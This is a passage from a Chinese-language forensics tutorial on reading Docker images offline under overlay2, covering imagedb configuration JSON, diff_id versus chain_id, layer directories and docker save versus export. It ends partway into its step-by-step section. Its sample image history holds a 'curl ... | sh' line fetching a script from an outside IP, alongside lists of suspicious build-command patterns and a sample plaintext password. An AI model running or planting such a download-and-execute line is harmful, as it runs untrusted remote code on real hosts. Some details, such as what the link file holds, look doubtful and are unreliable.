关键词:overlay2、镜像层、diff_id、chain_id、imagedb、RootFS.Layers、离线镜像分析、存储驱动
难度:进阶
前置知识:Docker 基本概念、联合文件系统原理、JSON 与哈希校验、只读镜像挂载
一、概述
传统服务器取证里,"这个程序是怎么来的"通常没有答案。
你只能看到一个 ELF 可执行文件。它是发行版装的,还是源码编译的,还是从公网拉来的,文件本身不会告诉你。
容器镜像在这一点上不同:它是可读的结构化数据。
构建镜像的每一条指令——RUN、ENV、COPY、CMD——都逐字写在磁盘上。任何一台离线机器都能把这份"配方"完整还原出来。
这直接带来两个价值。
其一,恶意镜像可以被完全定性。
一个挖矿镜像的 Cmd 里白纸黑字写着矿池地址与钱包地址,一个后门镜像的 Env 里写着 C2 域名,一份被投毒的 COPY 能指出往镜像里塞了哪个文件。这些都不需要执行镜像,只需要读 JSON。
其二,镜像层本身就是文件证据。层内容是宿主 ext4 上的真实目录,被删掉的文件可以用常规文件系统手段挖出来。
那为什么本篇还需要写一整篇?
因为直接读磁盘有真实门槛。
/var/lib/docker/image/.../imagedb/ 里的文件名是不可逆的内容哈希,层目录名是随机的 cache-id,二者之间没有可见映射。
要把"镜像配置里的 RootFS.Layers 列表"和磁盘上的"overlay2/<id>/diff 目录"对应起来,必须理解 diff_id 与 chain_id 这套双哈希体系。
这是本篇唯一真正难的地方。所有"我读了 imagedb 但找不到对应目录"这类困惑,来源都在这里。
在取证流程中的位置:本篇属于分析环,输入是 Docker 取证工件地图 已固定的磁盘数据,输出是镜像与层的完整还原。
采集不归它管,判定入侵也不归它管。它回答的是一个更窄的问题:这个文件系统是怎么一层层叠起来的,每一层里有什么。
上游依赖存储驱动的确认(见 2.2),下游支撑三件事:恶意镜像定性(哪些层被投毒)、文件植入定位(哪个 COPY 指令带进来的)、被删文件的恢复(层里的 whiteout 语义)。
涉及的证据形态,具体到路径与字段:
| 形态 |
具体位置 |
结构特征 |
| 镜像配置 |
image/<driver>/imagedb/content/sha256/<hash> |
一个文件一个镜像,文件名 = 配置哈希 |
| 仓库索引 |
image/<driver>/imagedb/toc/sha256/<hash> |
Repositories 清单,含 registry 与 tag |
| 层内容 |
overlay2/<cache-id>/diff/ |
真实目录,可直接遍历 |
| 层链 |
overlay2/<cache-id>/link |
文本文件,低层在前、高层在后,是离线重建层链的关键 |
| 运行时视图 |
overlay2/<cache-id>/merged/ |
容器停止后为空壳,不适合作证据来源 |
| 工作目录 |
overlay2/<cache-id>/workdir/ |
正常为空,有残留说明有未完成操作 |
| 层元数据 |
层目录下的 v2/ |
该层的 json,指向 diff_id |
| 容器写层 |
overlay2/<container-id>/diff/ |
与镜像层不同,是容器启动后新建的 |
两个概念必须先分清。
diff/ 有两种来源——镜像层(只读,来自构建)与容器写层(容器启动时新建,装的是容器内的改动)。
看到 diff/ 目录不等于看到镜像层。判断依据是它是否出现在某镜像配置的 RootFS.Layers 链里。
能回答什么:这个镜像由哪些指令构建、每条指令加了什么文件、镜像与某个磁盘目录的对应关系、某层里有哪些可疑文件、被删文件在层链里如何表现。
不能回答什么:镜像是什么时候构建的(层时间可被改)、镜像是否被人改过又改回(需与私库侧摘要比对)、容器运行时的行为(层是静态的,运行痕迹要看 containers/<id>/ 与日志)、docker history 的输出与磁盘数据是否一致(它是重建的,不是原始记录)。
存储驱动的版本差异是本篇的另一个门槛:Docker 17.06 之前默认 aufs 或 devicemapper,17.06 之后是 overlay2。前者的目录结构完全不同,后者的数据藏在块设备映射的稀疏文件里。
没有 overlay2 就没有"把层目录当普通目录遍历"这回事。
本篇给出三种驱动的处理思路,以实际检材中存在的目录为准,不要凭印象套用。
内容边界:所有命令面向已获得合法授权的目标主机或已制作的只读镜像,目标是发现与固定证据,不提供任何入侵手段。
导出与运行恶意镜像是两回事:本篇只做离线读取。docker save 的产物与原始层的差异见 2.6。
读者前提:需要 ext4 目录结构与 inode 的理解(见 ext4 结构与 inode)、JSON 与内容哈希的基本概念,以及 Docker 取证工件地图 给出的路径全景与时机判断。
如果还没确认存储驱动,建议先按本篇 3.1 第 1 步 走一遍。后面所有映射都建立在这个确认之上。
二、核心原理
2.1 overlay2 的四个目录
overlay2 把多个目录"叠"成一个视图。这四个目录是读层的前提:
┌──────────── 容器看到的 merged 视图 ─────────────┐
│ /bin/sh 来自 lowerdir1 /app/config.yaml 来自 upperdir(★被改过)│
└────────────────────────────────────────────────┘
↑ 挂载视图(merged/)
┌──────────┴──────────┐
│ upperdir(写层) │ ← 容器启动时创建,容器内每次写入都落这里
│ /var/lib/docker/overlay2/<id>/diff/
└──────────┬──────────┘
↑ 同文件时 upperdir 覆盖 lowerdir
┌──────────┴──────────┬──────────┬──────────┐
│ lowerdir(只读层) │ lowerdir │ lowerdir │ ← 来自镜像,自底向上叠加
└─────────────────────┴──────────┴──────────┘
↑ 复制不完整时先复制到 workdir,再改名为 whiteout
| 目录 |
作用 |
取证意义 |
diff/ |
写层。容器启动时创建,容器内所有改动落在这里 |
★★★★★ 容器内文件的实际存放处;容器停止后仍可读,容器删除即消失 |
merged/ |
挂载视图,容器"看到"的那个根 |
★★ 容器停止后该目录变为空壳,不适合作为证据来源 |
workdir/ |
内核做原子改名的工作目录 |
★ 正常为空;有残留说明有未完成操作 |
link |
文本文件,记录本层的 lowerdir 链 |
★★★ 离线重建层链的关键 |
(镜像层还有)v2/ |
该层的 repositories 与 json 元数据 |
★★★ 指向 diff_id |
# link 文件长这样(低层在前,高层在后)
cat /var/lib/docker/overlay2/<cache-id>/link
# lxcfs
# overlay /var/lib/docker/overlay2/<id1>/diff
# overlay /var/lib/docker/overlay2/<id2>/diff
# overlay /var/lib/docker/overlay2/<id3>/diff
⚠️ link 的顺序是从低层到高层,overlay2 挂载时 lowerdir= 的优先级是左低右高(右覆盖左)。读错顺序会导致层内容还原错误。
2.2 目录结构全景(含版本差异)
data-root(默认 /var/lib/docker)下的关键路径:
| 路径 |
内容 |
取证价值 |
image/overlay2/imagedb/content/sha256/<hash> |
镜像配置 JSON(一个文件一个镜像,文件名 = 配置哈希) |
★★★★★ |
image/overlay2/imagedb/toc/sha256/<hash> |
仓库层索引(Repositories 清单) |
★★★ |
overlay2/<cache-id>/diff/ |
层内容目录 |
★★★★★ |
overlay2/<cache-id>/link |
lowerdir 链 |
★★★ |
overlay2/<cache-id>/v2/、repositories |
该层的镜像引用与 diff_id 记录 |
★★★ |
overlay2/<cache-id>/merged/、work/ |
挂载视图 / 工作目录 |
★ |
overlay2/l/ |
符号链接(l/<短ID> → overlay2/<cache-id>) |
★★ cache-id 的来源 |
版本差异务必按检材实际情况选路径。下面这张表是查手册时的起点,不是让你凭版本号猜:
| 存储驱动 |
大致版本 |
关键路径 |
差异 |
aufs |
Docker ≤ 17.05(已停止维护) |
/var/lib/docker/aufs/mnt/<hash>/diff/、/var/lib/docker/aufs/diff/<hash>/ |
目录名是 mnt 前缀的挂载式结构,元数据在 aufs/mnt/ 下 |
devicemapper |
Docker ≤ 17.05 常见 |
/var/lib/docker/devicemapper/mnt/<dev>/ |
数据在块设备映射出的稀疏文件里,不能当目录遍历;层元数据在 <dev>/ 旁的 json |
overlay2 |
Docker 17.06 之后默认 |
上表所述 |
层内容是普通目录,可直接遍历 |
btrfs / zfs |
特殊后端 |
子卷形态 |
需 btrfs subvolume list / zfs list 导出 |
如何判断:docker info 的 Storage Driver;离线看 daemon.json;再退一步——ls /var/lib/docker/ 里有什么目录就说明当时用的是哪个。迁移期可能同时存在两种驱动目录,两个都要查。
2.3 imagedb JSON 的关键字段
imagedb/content/sha256/<hash> 里是一个 JSON 对象,这是"镜像配方"的完整记录。
注意文件名。它是该 JSON 内容的哈希(sha256),不是镜像 ID。这条在 4.2 会被反复用到。
{
"created": "2024-02-20T08:14:22.617Z",
"architecture": "amd64",
"os": "linux",
"Config": {
"Hostname": "", "User": "nginx",
"Env": ["PATH=/usr/local/sbin:/usr/local/bin:...", "DB_PASSWORD=Str0ngPass!2024"],
"Cmd": ["nginx", "-g", "daemon off;"],
"Entrypoint": ["/docker-entrypoint.sh"],
"WorkingDir": "/app",
"ExposedPorts": {"80/tcp": {}, "443/tcp": {}},
"Volumes": {"/app/logs": {}},
"Labels": {"maintainer": "ops@digiforensics.example", "build.args.ver": "1.4.2"}
},
"RootFS": { "Type": "layers", "Layers": ["sha256:a1b2...", "sha256:c3d4...", "sha256:e5f6..."] },
"history": [
{"created": "2024-02-20T08:14:22Z", "created_by": "/bin/sh -c #(nop) ADD file:... in / "},
{"created": "2024-02-20T08:14:30Z", "created_by": "/bin/sh -c curl -s http://198.51.100.24/x.sh | sh", "empty_layer": true}
]
}
| 字段 |
含义 |
异常判据 |
Config.Env |
运行时环境变量 |
含明文口令、令牌、私库地址;PATH 被插到最前的自定义路径 |
Config.Cmd / Config.Entrypoint |
启动命令 |
写死矿池地址、C2 域名、curl | sh 下载执行链 |
Config.Labels |
镜像元标签 |
官方镜像不该出现的自定义标签;build.args.* 泄露构建参数 |
Config.Volumes |
镜像声明的卷 |
与运行时实际挂载对比,可发现多挂的目录(见第 03 篇) |
Config.ExposedPorts |
声明暴露端口 |
与 Config.Cmd 不符(如暴露 80 但实际起的是 minio 管理口) |
Config.WorkingDir |
工作目录 |
指向 /tmp、/dev/shm 等可写临时目录 |
Config.User |
容器内默认用户 |
root + 挂载敏感目录 = 风险叠加 |
Config.Healthcheck |
健康检查命令 |
指向外部地址的探活 = 隐蔽外连通道 |
created / architecture / os |
构建时间与平台 |
created 明显晚于依赖版本的发布时间 = 可疑 |
RootFS.Layers |
diff_id 链,从基础层到顶层 |
数量与 history 中 empty_layer 为假的条目数应一致 |
history[].created_by |
每层构建命令原文 |
** curl | sh、wget、base64 -d、往 /usr/bin 拷可执行文件** |
⚠️ history[].empty_layer 为 true 表示这层没产生文件系统改动(如 ENV、LABEL、CMD),它不出现在 RootFS.Layers 里。所以 history 条目数大于 RootFS.Layers 是正常的,不要据此认为少了层。
2.4 diff_id 与 chain_id:本文最关键的概念
这是 overlay2 体系里最容易搞混的一对哈希。两个都是 sha256,用途却完全不同:
| 概念 |
计算对象 |
是否含父层信息 |
用途 |
| diff_id |
单个层(该层 tar 归档的摘要) |
❌ 不含 |
RootFS.Layers 里存的就是它;层内容去重的依据 |
| chain_id |
层 + 它的全部父层(累积) |
✅ 含 |
manifest 存储层索引里存的是它;反映"从哪条链累积而来" |
关键推论有两个。
第一个:两个镜像只要有一个基础层相同,其后每一层的 diff_id 就可能相同(因为 diff_id 只看自己那层的内容),但它们的 chain_id 一定不同(累积链不同)。
第二个:diff_id 相同就能确定是同一层内容,这是"识别共用基础层"的依据。
离线状态下怎么区分它们:
RootFS.Layers 数组 → diff_id(它出现在镜像配置 JSON 里)
manifest.json(docker save 产生)里的 rootfs.diff_ids → diff_id;同文件的 layers[].digest → chain_id(格式为 sha256:<chain_id>)
overlay2/<id>/v2/repositories 文本文件里 → 可能同时出现 layer id(chain_id 形式)与历史 layer id(diff_id 形式)
# 离线判定一个 64 位十六进制串到底是哪种:去 diff 目录里找
# diff_id 通常能对上 overlay2/<cache-id>/v2/<diff_id 前缀>/ 之类的目录
grep -rl '<hash>' /mnt/df/var/lib/docker/overlay2/*/v2/repositories 2>/dev/null | head
取证价值:diff_id 链能告诉你这个镜像是从哪个基础镜像衍生的。若一个可疑镜像的 RootFS.Layers 前 3 层与 registry.local/digiforensics/web 完全相同,说明它共享了业务基础镜像——攻击者不是从零构建的,而是拿业务镜像加了层自己的东西。这本身就是"内部来源"的有力证据。
2.5 docker history 的离线等价
在线的 docker history 读的正是 imagedb JSON 的 history 数组。离线等价实现见 3.3 的脚本(逐条打印并标注 empty_layer)。
真正值得停下来看的是这三类 created_by:
| 模式 |
含义 |
curl/wget + 管道到 shell |
下载执行链 |
chmod +x / mv 到 /usr/bin、/usr/local/bin |
安装持久二进制 |
adduser、usermod、authorized_keys、crontab |
建立账号或持久化(对应第 06 篇的运行态持久) |
2.6 导出与镜像保存:丢的东西不一样
这是两个用途完全不同、混淆会导致关键元数据永久丢失的操作。
真出过事。现场只留下一个 export 出来的 tar,启动命令和环境变量就再也回不去了。
| 特性 |
docker export |
docker save |
| 对象 |
容器(某次运行的合并视图) |
镜像(可复现的层 + 配置) |
| 输出 |
一个扁平 tar |
多层 tar + manifest.json + 各层 json |
镜像元数据(Config/Labels/Env/history) |
❌ 全部丢失 |
✅ 完整保留 |
| 卷内数据 |
❌ 不包含(只导容器视图) |
❌ 不包含 |
| 层边界 |
❌ 拍平,无层信息 |
✅ 保留,可算 diff_id |
| 典型用途 |
拿到某个容器当时的文件现场 |
归档/迁移一个镜像 |
docker save -o /evidence/DigiForensics-app.tar registry.local/digiforensics/web:latest
docker export -o /evidence/container-view.tar digiforensics-app # 只有文件,没有配方
tar -tvf /evidence/DigiForensics-app.tar | head # 应看到 manifest.json + 多个 layer/
tar -tf /evidence/container-view.tar | head # 单一层扁平结构
⚠️ docker export 得到的 tar 里没有 Config,因此事后无法回答"这个容器当初用什么命令起的""注入了什么环境变量"。如果已经 export 而没有 save,配方只能从 config.v2.json(若还在)补。取证时两个都要做,且先做 save。
三、操作步骤
3.1 第 1